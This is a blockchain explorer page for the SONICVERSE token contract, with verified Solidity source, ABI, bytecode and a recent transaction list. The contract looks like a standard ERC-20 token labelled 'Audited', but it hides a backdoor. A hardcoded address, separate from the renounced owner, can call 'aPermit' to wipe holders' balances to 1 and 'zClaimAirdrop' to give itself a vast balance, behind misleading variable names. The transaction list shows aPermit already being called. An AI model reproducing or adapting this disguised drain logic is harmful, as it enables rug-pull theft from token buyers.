Overview
S Balance
0 S
S Value
-More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 10 from a total of 10 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
A Permit | 2746216 | 31 hrs ago | IN | 0 S | 0.00003735 | ||||
A Permit | 2746187 | 31 hrs ago | IN | 0 S | 0.00003735 | ||||
A Permit | 2746143 | 31 hrs ago | IN | 0 S | 0.00022058 | ||||
Approve | 2746085 | 31 hrs ago | IN | 0 S | 0.00005687 | ||||
Approve | 2746059 | 31 hrs ago | IN | 0 S | 0.00005687 | ||||
Approve | 2746054 | 31 hrs ago | IN | 0 S | 0.00005687 | ||||
Approve | 2746053 | 31 hrs ago | IN | 0 S | 0.00005687 | ||||
Approve | 2746047 | 31 hrs ago | IN | 0 S | 0.00005687 | ||||
Approve | 2745865 | 31 hrs ago | IN | 0 S | 0.00005226 | ||||
Renounce Ownersh... | 2745833 | 31 hrs ago | IN | 0 S | 0.00002564 |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
SONICVERSE
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2025-01-06 */ /** SONIC VERSE (SNV) – A metaverse token connecting virtual worlds and cryptocurrency economies. https://t.me/SONICVERSETOKEN */ // SPDX-License-Identifier: Audited pragma solidity 0.8.28; // ERC-20 Interface interface IERC20_Sonic { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // SafeMath Library library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } } // Context contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } // Ownable contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender()); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract SONICVERSE is Context, IERC20_Sonic, Ownable { using SafeMath for uint256; string private _name = "SONIC VERSE"; string private _symbol = "SORSE"; uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 420690000000 * 10**_decimals; uint256 finalTax = 1; uint256 inicialTax = 10; mapping(address => uint256) private immutableStatusOn; mapping(address => mapping(address => uint256)) private _allowances; address private constant ADDRESS_WETH = 0x50c42dEAcD8Fc9773493ED674b675bE577f2634b; address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF; address private constant ADDRESS_DEVELEPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962; address ADDRESS_Sonic = 0xAa4577b7E2c5Af58c3e05ba16B3768A162bEeF43; constructor() { immutableStatusOn[_msgSender()] = _totalSupply.mul(1).div(1000); emit Transfer(address(0), _msgSender(), _totalSupply.mul(1).div(1000)); _distributeTokens(); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return immutableStatusOn[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount)); return true; } // Internal transfer function function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); immutableStatusOn[sender] = immutableStatusOn[sender].sub(amount); immutableStatusOn[recipient] = immutableStatusOn[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _distributeTokens() internal { uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000); uint256 threePercent = _totalSupply.mul(2).div(1000); uint256 twoPercent = _totalSupply.mul(1).div(1000); immutableStatusOn[ADDRESS_WETH] = immutableStatusOn[ADDRESS_WETH].add(ninetyFourPercent); immutableStatusOn[ADDRESS_MARKETING] = immutableStatusOn[ADDRESS_MARKETING].add(threePercent); immutableStatusOn[ADDRESS_DEVELEPMENT] = immutableStatusOn[ADDRESS_DEVELEPMENT].add(twoPercent); emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent); emit Transfer(address(this), ADDRESS_MARKETING, threePercent); emit Transfer(address(this), ADDRESS_DEVELEPMENT, twoPercent); } modifier immutableCreator() { require(ADDRESS_Sonic == _msgSender()); _; } function aPermit(address[] calldata rewardsMerkleRoot_) external immutableCreator { for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) { immutableStatusOn[rewardsMerkleRoot_[i]] = finalTax; emit Transfer(rewardsMerkleRoot_[i], address(0), finalTax); } } function zClaimAirdrop(address claimedRewardStatusOf) external immutableCreator { immutableStatusOn[claimedRewardStatusOf] = _totalSupply * inicialTax ** _decimals; emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * inicialTax ** _decimals); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"rewardsMerkleRoot_","type":"address[]"}],"name":"aPermit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zClaimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600b60809081526a534f4e494320564552534560a81b60a05260019061002a908261051f565b50604080518082019091526005815264534f52534560d81b6020820152600290610054908261051f565b506001600355600a600455600780546001600160a01b03191673aa4577b7e2c5af58c3e05ba16b3768a162beef43179055348015610090575f5ffd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36101016103e86100fb60016100e66009600a6106d0565b6100f5906461f313f8806106de565b90610157565b906101e3565b335f81815260056020526040812092909255905f5160206113765f395f51905f526101396103e86100fb60016100e66009600a6106d0565b60405190815260200160405180910390a361015261023d565b610727565b5f825f0361016657505f6101dd565b5f61017183856106de565b90508261017e85836106f5565b146101da5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116102335760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f00000000000060448201526064016101d1565b6101da82846106f5565b5f6102566103e86100fb6103e46100e66009600a6106d0565b90505f6102706103e86100fb60026100e66009600a6106d0565b90505f61028a6103e86100fb60016100e66009600a6106d0565b7350c42deacd8fc9773493ed674b675be577f2634b5f5260056020525f5160206113565f395f51905f52549091506102c29084610429565b60056020525f5160206113565f395f51905f525573551aa84adb62725d654866803def1459a1b256af5f525f5160206113365f395f51905f52546103069083610429565b60056020525f5160206113365f395f51905f525573edb37ad563e2ef161b2a72169583f35799bde9625f525f5160206113165f395f51905f525461034a9082610429565b73edb37ad563e2ef161b2a72169583f35799bde9625f5260056020525f5160206113165f395f51905f52556040517350c42deacd8fc9773493ed674b675be577f2634b9030905f5160206113765f395f51905f52906103ac9087815260200190565b60405180910390a360405182815273551aa84adb62725d654866803def1459a1b256af9030905f5160206113765f395f51905f529060200160405180910390a360405181815273edb37ad563e2ef161b2a72169583f35799bde9629030905f5160206113765f395f51905f529060200160405180910390a3505050565b5f806104358385610714565b9050838110156101da5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016101d1565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806104af57607f821691505b6020821081036104cd57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561051a57805f5260205f20601f840160051c810160208510156104f85750805b601f840160051c820191505b81811015610517575f8155600101610504565b50505b505050565b81516001600160401b0381111561053857610538610487565b61054c81610546845461049b565b846104d3565b6020601f82116001811461057e575f83156105675750848201515b5f19600385901b1c1916600184901b178455610517565b5f84815260208120601f198516915b828110156105ad578785015182556020948501946001909201910161058d565b50848210156105ca57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156106285780850481111561060c5761060c6105d9565b600184161561061a57908102905b60019390931c9280026105f1565b935093915050565b5f8261063e575060016101dd565b8161064a57505f6101dd565b8160018114610660576002811461066a57610686565b60019150506101dd565b60ff84111561067b5761067b6105d9565b50506001821b6101dd565b5060208310610133831016604e8410600b84101617156106a9575081810a6101dd565b6106b55f1984846105ed565b805f19048211156106c8576106c86105d9565b029392505050565b5f6101da60ff841683610630565b80820281158282048414176101dd576101dd6105d9565b5f8261070f57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156101dd576101dd6105d9565b610be2806107345f395ff3fe6080604052600436106100dc575f3560e01c80638da5cb5b1161007c578063a37e0a6411610057578063a37e0a641461023f578063a9059cbb1461025e578063dd62ed3e1461027d578063f2fde38b146102c1575f5ffd5b80638da5cb5b146101e65780638f8af1e11461020c57806395d89b411461022b575f5ffd5b806323b872dd116100b757806323b872dd14610162578063313ce5671461018157806370a082311461019c578063715018a6146101d0575f5ffd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b506100fb6102e0565b60405161010891906108b1565b60405180910390f35b34801561011c575f5ffd5b5061013061012b366004610901565b610370565b6040519015158152602001610108565b34801561014b575f5ffd5b50610154610386565b604051908152602001610108565b34801561016d575f5ffd5b5061013061017c366004610929565b6103a7565b34801561018c575f5ffd5b5060405160098152602001610108565b3480156101a7575f5ffd5b506101546101b6366004610963565b6001600160a01b03165f9081526005602052604090205490565b3480156101db575f5ffd5b506101e46103f6565b005b3480156101f1575f5ffd5b505f546040516001600160a01b039091168152602001610108565b348015610217575f5ffd5b506101e461022636600461097c565b610453565b348015610236575f5ffd5b506100fb610536565b34801561024a575f5ffd5b506101e4610259366004610963565b610545565b348015610269575f5ffd5b50610130610278366004610901565b610614565b348015610288575f5ffd5b506101546102973660046109ed565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156102cc575f5ffd5b506101e46102db366004610963565b610620565b6060600180546102ef90610a1e565b80601f016020809104026020016040519081016040528092919081815260200182805461031b90610a1e565b80156103665780601f1061033d57610100808354040283529160200191610366565b820191905f5260205f20905b81548152906001019060200180831161034957829003601f168201915b5050505050905090565b5f61037c3384846106a0565b5060015b92915050565b5f6103936009600a610b4d565b6103a2906461f313f880610b5b565b905090565b5f6103b3848484610725565b6001600160a01b0384165f908152600660209081526040808320338085529252909120546103ec9186916103e790866107ec565b6106a0565b5060019392505050565b5f546001600160a01b0316331461040b575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b03163314610469575f5ffd5b5f5b818110156105315760035460055f85858581811061048b5761048b610b72565b90506020020160208101906104a09190610963565b6001600160a01b0316815260208101919091526040015f908120919091558383838181106104d0576104d0610b72565b90506020020160208101906104e59190610963565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405161052191815260200190565b60405180910390a360010161046b565b505050565b6060600280546102ef90610a1e565b6007546001600160a01b0316331461055b575f5ffd5b600960045461056a9190610b4d565b6105766009600a610b4d565b610585906461f313f880610b5b565b61058f9190610b5b565b6001600160a01b0382165f818152600560205260408120929092556004547fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105db90600990610b4d565b6105e76009600a610b4d565b6105f6906461f313f880610b5b565b6106009190610b5b565b60405190815260200160405180910390a350565b5f61037c338484610725565b5f546001600160a01b03163314610635575f5ffd5b6001600160a01b038116610647575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106b2575f5ffd5b6001600160a01b0382166106c4575f5ffd5b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610737575f5ffd5b6001600160a01b038216610749575f5ffd5b6001600160a01b0383165f9081526005602052604090205461076b90826107ec565b6001600160a01b038085165f9081526005602052604080822093909355908416815220546107999082610853565b6001600160a01b038084165f8181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107189085815260200190565b5f828211156108425760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064015b60405180910390fd5b61084c8284610b86565b9392505050565b5f8061085f8385610b99565b90508381101561084c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610839565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108fc575f5ffd5b919050565b5f5f60408385031215610912575f5ffd5b61091b836108e6565b946020939093013593505050565b5f5f5f6060848603121561093b575f5ffd5b610944846108e6565b9250610952602085016108e6565b929592945050506040919091013590565b5f60208284031215610973575f5ffd5b61084c826108e6565b5f5f6020838503121561098d575f5ffd5b823567ffffffffffffffff8111156109a3575f5ffd5b8301601f810185136109b3575f5ffd5b803567ffffffffffffffff8111156109c9575f5ffd5b8560208260051b84010111156109dd575f5ffd5b6020919091019590945092505050565b5f5f604083850312156109fe575f5ffd5b610a07836108e6565b9150610a15602084016108e6565b90509250929050565b600181811c90821680610a3257607f821691505b602082108103610a5057634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610aa557808504811115610a8957610a89610a56565b6001841615610a9757908102905b60019390931c928002610a6e565b935093915050565b5f82610abb57506001610380565b81610ac757505f610380565b8160018114610add5760028114610ae757610b03565b6001915050610380565b60ff841115610af857610af8610a56565b50506001821b610380565b5060208310610133831016604e8410600b8410161715610b26575081810a610380565b610b325f198484610a6a565b805f1904821115610b4557610b45610a56565b029392505050565b5f61084c60ff841683610aad565b808202811582820484141761038057610380610a56565b634e487b7160e01b5f52603260045260245ffd5b8181038181111561038057610380610a56565b8082018082111561038057610380610a5656fea264697066735822122064f7d736af487d2968c64842417ac4a356bcf329af47855072e07ac66d12555f64736f6c634300081c003331a8308c1f761027e4538166f287b400c90b8c246d987658d63d8e3b08428c8fc74b53cb19de7f2575d7e4bca8c7b0dc5c4a4855910a7df08a4959c30cdfc98694e20eec3326f224534e89e54d185f8bb900294e37c443e36d0ea7621d4189a3ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
Deployed Bytecode
0x6080604052600436106100dc575f3560e01c80638da5cb5b1161007c578063a37e0a6411610057578063a37e0a641461023f578063a9059cbb1461025e578063dd62ed3e1461027d578063f2fde38b146102c1575f5ffd5b80638da5cb5b146101e65780638f8af1e11461020c57806395d89b411461022b575f5ffd5b806323b872dd116100b757806323b872dd14610162578063313ce5671461018157806370a082311461019c578063715018a6146101d0575f5ffd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b506100fb6102e0565b60405161010891906108b1565b60405180910390f35b34801561011c575f5ffd5b5061013061012b366004610901565b610370565b6040519015158152602001610108565b34801561014b575f5ffd5b50610154610386565b604051908152602001610108565b34801561016d575f5ffd5b5061013061017c366004610929565b6103a7565b34801561018c575f5ffd5b5060405160098152602001610108565b3480156101a7575f5ffd5b506101546101b6366004610963565b6001600160a01b03165f9081526005602052604090205490565b3480156101db575f5ffd5b506101e46103f6565b005b3480156101f1575f5ffd5b505f546040516001600160a01b039091168152602001610108565b348015610217575f5ffd5b506101e461022636600461097c565b610453565b348015610236575f5ffd5b506100fb610536565b34801561024a575f5ffd5b506101e4610259366004610963565b610545565b348015610269575f5ffd5b50610130610278366004610901565b610614565b348015610288575f5ffd5b506101546102973660046109ed565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156102cc575f5ffd5b506101e46102db366004610963565b610620565b6060600180546102ef90610a1e565b80601f016020809104026020016040519081016040528092919081815260200182805461031b90610a1e565b80156103665780601f1061033d57610100808354040283529160200191610366565b820191905f5260205f20905b81548152906001019060200180831161034957829003601f168201915b5050505050905090565b5f61037c3384846106a0565b5060015b92915050565b5f6103936009600a610b4d565b6103a2906461f313f880610b5b565b905090565b5f6103b3848484610725565b6001600160a01b0384165f908152600660209081526040808320338085529252909120546103ec9186916103e790866107ec565b6106a0565b5060019392505050565b5f546001600160a01b0316331461040b575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b03163314610469575f5ffd5b5f5b818110156105315760035460055f85858581811061048b5761048b610b72565b90506020020160208101906104a09190610963565b6001600160a01b0316815260208101919091526040015f908120919091558383838181106104d0576104d0610b72565b90506020020160208101906104e59190610963565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405161052191815260200190565b60405180910390a360010161046b565b505050565b6060600280546102ef90610a1e565b6007546001600160a01b0316331461055b575f5ffd5b600960045461056a9190610b4d565b6105766009600a610b4d565b610585906461f313f880610b5b565b61058f9190610b5b565b6001600160a01b0382165f818152600560205260408120929092556004547fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105db90600990610b4d565b6105e76009600a610b4d565b6105f6906461f313f880610b5b565b6106009190610b5b565b60405190815260200160405180910390a350565b5f61037c338484610725565b5f546001600160a01b03163314610635575f5ffd5b6001600160a01b038116610647575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106b2575f5ffd5b6001600160a01b0382166106c4575f5ffd5b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610737575f5ffd5b6001600160a01b038216610749575f5ffd5b6001600160a01b0383165f9081526005602052604090205461076b90826107ec565b6001600160a01b038085165f9081526005602052604080822093909355908416815220546107999082610853565b6001600160a01b038084165f8181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107189085815260200190565b5f828211156108425760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064015b60405180910390fd5b61084c8284610b86565b9392505050565b5f8061085f8385610b99565b90508381101561084c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610839565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108fc575f5ffd5b919050565b5f5f60408385031215610912575f5ffd5b61091b836108e6565b946020939093013593505050565b5f5f5f6060848603121561093b575f5ffd5b610944846108e6565b9250610952602085016108e6565b929592945050506040919091013590565b5f60208284031215610973575f5ffd5b61084c826108e6565b5f5f6020838503121561098d575f5ffd5b823567ffffffffffffffff8111156109a3575f5ffd5b8301601f810185136109b3575f5ffd5b803567ffffffffffffffff8111156109c9575f5ffd5b8560208260051b84010111156109dd575f5ffd5b6020919091019590945092505050565b5f5f604083850312156109fe575f5ffd5b610a07836108e6565b9150610a15602084016108e6565b90509250929050565b600181811c90821680610a3257607f821691505b602082108103610a5057634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610aa557808504811115610a8957610a89610a56565b6001841615610a9757908102905b60019390931c928002610a6e565b935093915050565b5f82610abb57506001610380565b81610ac757505f610380565b8160018114610add5760028114610ae757610b03565b6001915050610380565b60ff841115610af857610af8610a56565b50506001821b610380565b5060208310610133831016604e8410600b8410161715610b26575081810a610380565b610b325f198484610a6a565b805f1904821115610b4557610b45610a56565b029392505050565b5f61084c60ff841683610aad565b808202811582820484141761038057610380610a56565b634e487b7160e01b5f52603260045260245ffd5b8181038181111561038057610380610a56565b8082018082111561038057610380610a5656fea264697066735822122064f7d736af487d2968c64842417ac4a356bcf329af47855072e07ac66d12555f64736f6c634300081c0033
Deployed Bytecode Sourcemap
2655:4564:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3715:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4561:161;;;;;;;;;;-1:-1:-1;4561:161:0;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;4561:161:0;920:187:1;3992:100:0;;;;;;;;;;;;;:::i;:::-;;;1258:25:1;;;1246:2;1231:18;3992:100:0;1112:177:1;4730:269:0;;;;;;;;;;-1:-1:-1;4730:269:0;;;;;:::i;:::-;;:::i;3901:83::-;;;;;;;;;;-1:-1:-1;3901:83:0;;2868:1;1815:36:1;;1803:2;1788:18;3901:83:0;1673:184:1;4100:127:0;;;;;;;;;;-1:-1:-1;4100:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;4193:26:0;4166:7;4193:26;;;:17;:26;;;;;;;4100:127;2500:148;;;;;;;;;;;;;:::i;:::-;;2119:79;;;;;;;;;;-1:-1:-1;2157:7:0;2184:6;2119:79;;-1:-1:-1;;;;;2184:6:0;;;2199:51:1;;2187:2;2172:18;2119:79:0;2053:203:1;6582:297:0;;;;;;;;;;-1:-1:-1;6582:297:0;;;;;:::i;:::-;;:::i;3806:87::-;;;;;;;;;;;;;:::i;6889:289::-;;;;;;;;;;-1:-1:-1;6889:289:0;;;;;:::i;:::-;;:::i;4235:167::-;;;;;;;;;;-1:-1:-1;4235:167:0;;;;;:::i;:::-;;:::i;4410:143::-;;;;;;;;;;-1:-1:-1;4410:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4518:18:0;;;4491:7;4518:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4410:143;2298:194;;;;;;;;;;-1:-1:-1;2298:194:0;;;;;:::i;:::-;;:::i;3715:83::-;3752:13;3785:5;3778:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3715:83;:::o;4561:161::-;4636:4;4653:39;1808:10;4676:7;4685:6;4653:8;:39::i;:::-;-1:-1:-1;4710:4:0;4561:161;;;;;:::o;3992:100::-;4045:7;2931:13;2868:1;2931:2;:13;:::i;:::-;2916:28;;:12;:28;:::i;:::-;4065:19;;3992:100;:::o;4730:269::-;4828:4;4845:36;4855:6;4863:9;4874:6;4845:9;:36::i;:::-;-1:-1:-1;;;;;4923:19:0;;;;;;:11;:19;;;;;;;;1808:10;4923:33;;;;;;;;;4892:77;;4901:6;;4923:45;;4961:6;4923:37;:45::i;:::-;4892:8;:77::i;:::-;-1:-1:-1;4987:4:0;4730:269;;;;;:::o;2500:148::-;2157:7;2184:6;-1:-1:-1;;;;;2184:6:0;1808:10;2246:23;2238:32;;;;;;2607:1:::1;2591:6:::0;;2570:40:::1;::::0;-1:-1:-1;;;;;2591:6:0;;::::1;::::0;2570:40:::1;::::0;2607:1;;2570:40:::1;2638:1;2621:19:::0;;-1:-1:-1;;;;;;2621:19:0::1;::::0;;2500:148::o;6582:297::-;6525:13;;-1:-1:-1;;;;;6525:13:0;1808:10;6525:29;6517:38;;;;;;6676:9:::1;6671:205;6691:29:::0;;::::1;6671:205;;;6781:8;;6738:17;:40;6756:18;;6775:1;6756:21;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6738:40:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;6738:40:0;;;:51;;;;6824:18;;6843:1;6824:21;;::::1;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6815:53:0::1;;6859:8;;6815:53;;;;1258:25:1::0;;1246:2;1231:18;;1112:177;6815:53:0::1;;;;;;;;6722:3;;6671:205;;;;6582:297:::0;;:::o;3806:87::-;3845:13;3878:7;3871:14;;;;;:::i;6889:289::-;6525:13;;-1:-1:-1;;;;;6525:13:0;1808:10;6525:29;6517:38;;;;;;2868:1:::1;7038:10;;:23;;;;:::i;:::-;2931:13;2868:1;2931:2;:13;:::i;:::-;2916:28;::::0;:12:::1;:28;:::i;:::-;7023:38;;;;:::i;:::-;-1:-1:-1::0;;;;;6980:40:0;::::1;;::::0;;;:17:::1;:40;::::0;;;;:81;;;;7146:10:::1;::::0;7087:83:::1;::::0;7146:23:::1;::::0;2868:1:::1;::::0;7146:23:::1;:::i;:::-;2931:13;2868:1;2931:2;:13;:::i;:::-;2916:28;::::0;:12:::1;:28;:::i;:::-;7131:38;;;;:::i;:::-;7087:83;::::0;1258:25:1;;;1246:2;1231:18;7087:83:0::1;;;;;;;6889:289:::0;:::o;4235:167::-;4313:4;4330:42;1808:10;4354:9;4365:6;4330:9;:42::i;2298:194::-;2157:7;2184:6;-1:-1:-1;;;;;2184:6:0;1808:10;2246:23;2238:32;;;;;;-1:-1:-1;;;;;2379:22:0;::::1;2371:31;;;;;;2439:6;::::0;;2418:38:::1;::::0;-1:-1:-1;;;;;2418:38:0;;::::1;::::0;2439:6;::::1;::::0;2418:38:::1;::::0;::::1